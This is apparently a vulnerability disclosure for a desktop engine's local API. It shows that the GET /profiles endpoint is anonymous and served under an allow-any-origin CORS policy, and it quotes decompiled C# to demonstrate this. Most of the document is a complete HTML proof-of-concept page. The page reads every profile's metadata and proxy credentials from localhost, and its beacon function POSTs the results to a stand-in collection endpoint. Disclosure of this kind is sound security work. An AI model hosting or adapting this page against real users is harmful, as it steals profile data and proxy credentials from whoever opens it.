| 説明 | ## Vulnerability Description
A profile-inventory disclosure vulnerability affects `GET /profiles`. When the Engine is running and an attacker-controlled page is opened in the same desktop session, the page can enumerate the workspace’s profiles and read their identifiers, metadata, lifecycle state, device/browser fingerprint summary, storage location, and proxy configuration.
## Vulnerability Principle
The profile controller marks the listing action anonymous:
```csharp
[HttpGet("", Name = "ListProfiles")]
[AllowAnonymous]
public async Task<IActionResult> ListProfiles(ProfileLifetimeState? lifetimeState, CancellationToken ct)
{
ListProfilesRequest message = new()
{
LifetimeState = lifetimeState,
CancellationToken = ct
};
ListProfilesResponse result = await listProfilesUseCase.HandleAsync(message);
return Ok(mapper.Map<IList<ProfilePreview>>(result.Profiles));
}
```
The implementation in `client-engine-application/t.cs` calls `IProfileMemoryStoreService.List()`, creates each `StatefulProfile`, applies the optional state filter, and adds every matching profile to the response. `ProfilePreview` contains an explicit `Proxy` property in `Api.Models.Response/ProfilePreview.cs`; the mapping therefore exposes proxy settings whenever they are present. `Startup` then applies its allow-any-origin policy to the response.
In `app_unpacked/server-source-decompiled/Kameleo.Engine/Api/Startup.cs`, the server installs this default policy:
```csharp
services.AddCors(delegate(CorsOptions corsOptions)
{
corsOptions.AddDefaultPolicy(delegate(CorsPolicyBuilder corsPolicyBuilder)
{
corsPolicyBuilder.AllowAnyOrigin().AllowAnyMethod().AllowAnyHeader()
.SetPreflightMaxAge(TimeSpan.FromMinutes(10.0));
});
});
```
The same file places `app.UseCors()` in the request pipeline before the controller endpoints. This is the Local API’s own response and preflight policy, so the browser page can reach and, where applicable, read the Local API response.
## Vulnerability PoC
````html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>③ Export all profiles, including proxy credentials</title>
<style>
:root { --bg:#0f1115; --card:#171a21; --line:#262b36; --fg:#e6e9ef; --mut:#9aa4b2; --ok:#2bd873; --warn:#f5a524; --bad:#ff5c5c; --acc:#4c9aff; }
* { box-sizing:border-box; }
body { margin:0 auto; max-width:900px; padding:24px; background:var(--bg); color:var(--fg); font:14px/1.55 -apple-system,Segoe UI,Roboto,Helvetica,Arial,sans-serif; }
h1 { font-size:20px; margin:0 0 4px; }
.sub,.desc { color:var(--mut); }
.sub { margin:0 0 18px; }
.cfg,.card { background:var(--card); border:1px solid var(--line); border-radius:10px; padding:14px 16px; margin-bottom:14px; }
.cfg { position:sticky; top:0; z-index:2; }
.kv { display:flex; flex-wrap:wrap; gap:8px 14px; align-items:center; }
.kv b { color:var(--mut); font-weight:600; }
code,.mono { font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace; }
.ep { color:var(--acc); font-size:12px; margin:4px 0; }
button { background:#222835; color:var(--fg); border:1px solid var(--line); border-radius:7px; padding:8px 14px; font-size:13px; cursor:pointer; margin:8px 6px 6px 0; }
button:hover { border-color:var(--acc); }
button.danger { border-color:#4a2020; background:#2a1414; color:#ff9a9a; }
input { background:#0d0f14; color:var(--fg); border:1px solid var(--line); border-radius:6px; padding:6px 9px; font-size:13px; }
pre { background:#0d0f14; border:1px solid var(--line); border-radius:8px; padding:11px; overflow:auto; max-height:420px; font-size:12px; white-space:pre-wrap; word-break:break-word; margin:6px 0 0; }
pre:empty::before { content:"Output will appear here after you click the button."; color:#5b6373; }
.ok{color:var(--ok)} .bad{color:var(--bad)} .warn{color:var(--warn)}
.tag { display:inline-block; font-size:10px; font-weight:700; padding:1px 7px; border-radius:20px; margin-left:6px; vertical-align:middle; }
.t-read{background:#2a2410;color:var(--warn)} .t-write{background:#2a1414;color:var(--bad)}
a { color:var(--acc); }
</style>
</head>
<body>
<h1>③ Export all profiles, including proxy credentials <span class="tag t-read">READ</span></h1>
<p class="sub">Single-feature standalone test page; target: <span class="mono ok" id="tgt">localhost:5050</span>. <a href="index.html">Back to feature list</a></p>
<div class="cfg">
<div class="kv">
<span><b>Target:</b> <input id="host" value="localhost" size="10" onchange="refresh()">:<input id="port" value="5050" size="5" onchange="refresh()"></span>
<span><b>Optional collection endpoint:</b> <input id="beacon" placeholder="https://example.test/collect" size="30"></span>
</div>
</div>
<div class="card">
<div class="ep mono">GET /profiles</div>
<div class="desc">Lists all profiles; the first profile ID is printed at the top so it can be copied into the cookie or start test pages.</div>
<button onclick="profiles()">Export profiles</button>
<pre id="out"></pre>
</div>
<script>
const $ = id => document.getElementById(id);
const B = () => 'http://' + $('host').value.trim() + ':' + $('port').value.trim();
function refresh(){ $('tgt').textContent = $('host').value.trim()+':'+$('port').value.trim(); }
function set(el, msg, cls){ $(el).innerHTML = cls?'<span class="'+cls+'">'+msg+'</span>':msg; }
function pretty(v){ try{ return JSON.stringify(v,null,2);}catch(_){return String(v);} }
async function beacon(tag, data){
const el=$('beacon'); const url=el?el.value.trim():''; if(!url) return;
try{ await fetch(url,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:JSON.stringify({tag,page:location.href,target:B(),ts:Date.now(),data})}); }catch(_){}
}
async function reach(path, method='GET'){
try{ await fetch(B()+path,{method,mode:'no-cors',cache:'no-store'}); return {reached:true}; }
catch(e){ return {reached:false, err:e.message}; }
}
async function read(path, method='GET'){
const r=await fetch(B()+path,{method,mode:'cors',cache:'no-store'});
const txt=await r.text(); let json=null; try{json=JSON.parse(txt);}catch(_){}
return {status:r.status, txt, json};
}
window.addEventListener('DOMContentLoaded', refresh);
async function profiles(){
set('out','GET /profiles ...');
try{
const r=await read('/profiles');
const arr=Array.isArray(r.json)?r.json:(r.json?.items||r.json?.data||[]);
const id=arr[0]?.id||arr[0]?.Id||'';
set('out','Status '+r.status+' — '+arr.length+' profiles'+(id?'\nFirst profile ID: '+id:'')+'\n'+pretty(r.json??r.txt));
beacon('profiles',r.json??r.txt);
}catch(e){ set('out','CORS blocked response reading, but the request reached the engine: '+e.message,'warn'); }
}
</script>
</body>
</html>
```` |
|---|